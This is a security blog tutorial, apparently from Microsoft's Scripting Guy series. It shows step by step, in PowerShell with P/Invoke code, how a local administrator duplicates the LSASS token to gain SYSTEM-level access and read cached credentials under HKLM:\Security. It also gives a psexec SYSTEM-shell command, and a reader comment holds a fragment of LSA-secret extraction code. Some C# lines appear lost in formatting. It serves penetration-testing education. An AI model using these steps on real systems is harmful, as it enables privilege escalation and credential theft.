Use PowerShell to Duplicate Process Tokens via P/Invoke

Summary: Guest blogger, Niklas Goude, shows how to use P/Invoke to duplicate process tokens from LSASS to elevate privileges.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have Part 4 of our five part security series written by guest blogger, Niklas Goude.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

This is the fourth blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 4: Beyond local admin

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

In many cases, attackers will gain access to an account with limited privileges on a system. Attackers will try various methods to escalate their privileges to gain administrative permissions on a system. The ultimate goal is to impersonate the system.

In the previous scenario, we managed to get our hands on a domain user’s logon name and password, which was possibly, the local admin on a server. In this scenario, we will focus on what we can do as a local administrator on a system and how to get even more privileges, allowing us to read data from HKLM:\Security. In the follow up scenario, we’ll see how we can benefit from privileges beyond local admin.


This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the SP01, where we now have an account that is a member of the local administrators group on the server.


As soon as the attacker retrieves the account name and password for an account that is a member of the local administrators group on a server, the attacker can start pillaging the system for information. In this scenario, the system is running SQL Server and SharePoint 2010.

Our goal in this scenario is to gain access to HKLM:\Security. Even if we’re a member of the local administrators account, we can’t read the registry keys from HKLM:\Security. If we try to do it by using Windows PowerShell running an elevated command prompt with an account that is a member of the local administrators group, we get a big red error message.

PS > dir hklm:\




 SKC  VC Name                           Property                                 

—  — —-                           ——–                                  

  2   0 BCD00000000                    {}                                       

  6   4 COMPONENTS                     {StoreFormatVersion, StoreArchitecture,…

  4   0 HARDWARE                       {}                                       

  1   0 SAM                            {}                                       

Get-ChildItem : Requested registry access is not allowed.

    + CategoryInfo          : PermissionDenied: (HKEY_LOCAL_MACHINE\SECURITY:String) [Get-ChildItem], SecurityException

    + FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.GetChildItemCommand


 11   0 SOFTWARE                       {}                                        

  9   0 SYSTEM                        

To access the information that is stored in HKLM:\Security, we have to execute the command as the system account or give our account the same privileges as the system account. To execute commands as the system account, we could simply use psexec.exe—but that would not make a big nice blog post, would it? Therefore, in our case, we will try to give our account the same privileges as the system account. We can achieve this by duplicating the tokens of a process running as the system account, such as the Local Security and Authority Subsystem Service (LSASS).

Windows PowerShell can access functions from the Windows API as you would in C#. The .NET Framework lets us access the Windows functions through a technique called Platform Invocation Services (P/Invoke). The Add-Type cmdlet in Windows PowerShell builds on this support.

Step one is knowing what we need. A great resource that demonstrates how to call a specific Windows API from .NET is If we search for Windows PowerShell we’ll get a couple of nice examples that demonstrate how to use the P/Invoke technique in Windows PowerShell.

Image of examples

What we want to achieve is a little bit more difficult because we need to combine a couple of different functions and structures.

The following list shows the functions we need:

  • DuplicateToken
  • SetThreadToken
  • OpenProcessToken
  • LookupPrivilegeValue
  • GetCurrentProcess
  • AdjustTokenPrivileges

If we search for one of these functions, and then click into the definition, we will see a C# signature. This is what we want to use in Windows PowerShell. 

Image of code

We can copy the signature and place it in a here string. We want to call it from a script, so we have to make one minor change: replace static with public.


[DllImport(“advapi32.dll”, SetLastError=true)]

  [return: MarshalAs(UnmanagedType.Bool)]

    public static extern bool OpenProcessToken(IntPtr ProcessHandle,

      UInt32 DesiredAccess, out IntPtr TokenHandle);


Because we need a lot of different C# signatures, we have to go through each of the functions described and copy the signatures into our here string. Here is the complete code that we want to grab from P/Invoke. This time we’ll store it in a variable.

$signature = @”

    [StructLayout(LayoutKind.Sequential, Pack = 1)]

     public struct TokPriv1Luid


         public int Count;

         public long Luid;

         public int Attr;



    public const int SE_PRIVILEGE_ENABLED = 0x00000002;

    public const int TOKEN_QUERY = 0x00000008;

    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;


    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;

    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;

    public const UInt32 TOKEN_DUPLICATE = 0x0002;

    public const UInt32 TOKEN_IMPERSONATE = 0x0004;

    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;

    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;

    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;

    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;







    public const string SE_TIME_ZONE_NAMETEXT = “SeTimeZonePrivilege”;

    public const int ANYSIZE_ARRAY = 1;



    public struct LUID


      public UInt32 LowPart;

      public UInt32 HighPart;




    public struct LUID_AND_ATTRIBUTES {

       public LUID Luid;

       public UInt32 Attributes;



     public struct TOKEN_PRIVILEGES {

      public UInt32 PrivilegeCount;

      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]

      public LUID_AND_ATTRIBUTES [] Privileges;



    [DllImport(“advapi32.dll”, SetLastError=true)]

     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int

        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);


    [DllImport(“advapi32.dll”, SetLastError=true)]

    [return: MarshalAs(UnmanagedType.Bool)]

    public static extern bool SetThreadToken(

      IntPtr PHThread,

      IntPtr Token



    [DllImport(“advapi32.dll”, SetLastError=true)]

     [return: MarshalAs(UnmanagedType.Bool)]

      public static extern bool OpenProcessToken(IntPtr ProcessHandle,

       UInt32 DesiredAccess, out IntPtr TokenHandle);


    [DllImport(“advapi32.dll”, SetLastError = true)]

    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);


    [DllImport(“kernel32.dll”, ExactSpelling = true)]

    public static extern IntPtr GetCurrentProcess();


    [DllImport(“advapi32.dll”, ExactSpelling = true, SetLastError = true)]

     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,

     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);


Next, we pass the variable to Add-Type. We also set a Name and Namespace.

PS > Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv

PS > $adjPriv = [AdjPriv.AdjPriv]

Now we can start using the functions. First, we look up the value of SeDebugPrivilege.

[long]$luid = 0


$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid

$tokPriv1Luid.Count = 1

$tokPriv1Luid.Luid = $luid

$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED


$adjPriv::LookupPrivilegeValue($null, “SeDebugPrivilege”, [ref]$tokPriv1Luid.Luid)

When setting the SeDebugPrivilege privilege on the running process, we can obtain the handle of any running process. This process is described in the Microsoft Support topic, How To Use the SeDebugPrivilege to Acquire Any Process Handle.

But before we can adjust the token, we have to get the current process token as shown here:

[IntPtr]$htoken = [IntPtr]::Zero

$adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) 

Now that we have the current process token, we can adjust it.

$adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 

The next step is to duplicate the token of LSASS. Step one is to retrieve the process handle. We can do this by using the Get-Process cmdlet:

PS > $process = (Get-Process -Name lsass)

PS > $process.Handle


Now we use the handle to open the process token:

[IntPtr]$hlsasstoken = [IntPtr]::Zero

$adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)

Next, we duplicate the LASS token:

[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero

$adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)

Finally, we set the duplicated token to our current process:

$adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)            

Now we can type dir HKLM:\SECURITY without getting an error message!





Name                           Property                                          

—-                           ——–                                          

Cache                          NL$1       : {26, 0, 10, 0…}                    

                               NL$2       : {16, 0, 10, 0…}                    

                               NL$3       : {0, 0, 0, 0…}                      

                               NL$4       : {0, 0, 0, 0…}                      

                               NL$5       : {0, 0, 0, 0…}                      

                               NL$6       : {0, 0, 0, 0…}                      

                               NL$7       : {0, 0, 0, 0…}                      

                               NL$8       : {0, 0, 0, 0…}                      

                               NL$9       : {0, 0, 0, 0…}                      

                               NL$10      : {0, 0, 0, 0…}                      

                               NL$Control : {4, 0, 1, 0…}                      

Policy                         (default) :                                       


RXACT                          (default) : {1, 0, 0, 0…}                       

SAM                            C                   : {7, 0, 1, 0…}             

                               ServerDomainUpdates : {254, 1}  

 We could also download psexec.exe and type the following:

PS > .\psexec.exe -i -s powershell.exe

But where’s the fun in that?

Another option is to place the code that is described in this scenario and simply call the function. The following example demonstrates the Enable-TSDuplicateToken function:

PS > Enable-TSDuplicateToken

In the last scenario, we’ll talk about why we went to all this trouble of accessing the HKLM:\Security.


  • The function Enable-TSDuplicate Token can be downloaded from the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec website.


Once again, Niklas, great blog. Join us tomorrow for the exciting conclusion to our Security Week series.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Comments (2)

  1. Hi Niklas!

    I have done this before by PowerShell and .NET.

    Whath about a full blown PowerShell .NET Whoami ? ;-))

  2. Kieran Jacobsen says:

    Not sure if this has been mentioned, but in later .Net/PowerShell versions, change: [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData = [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])
    to [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData = [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [System.Type][LSAUtil.LSAUtil+LSA_UNICODE_STRING])

Skip to main content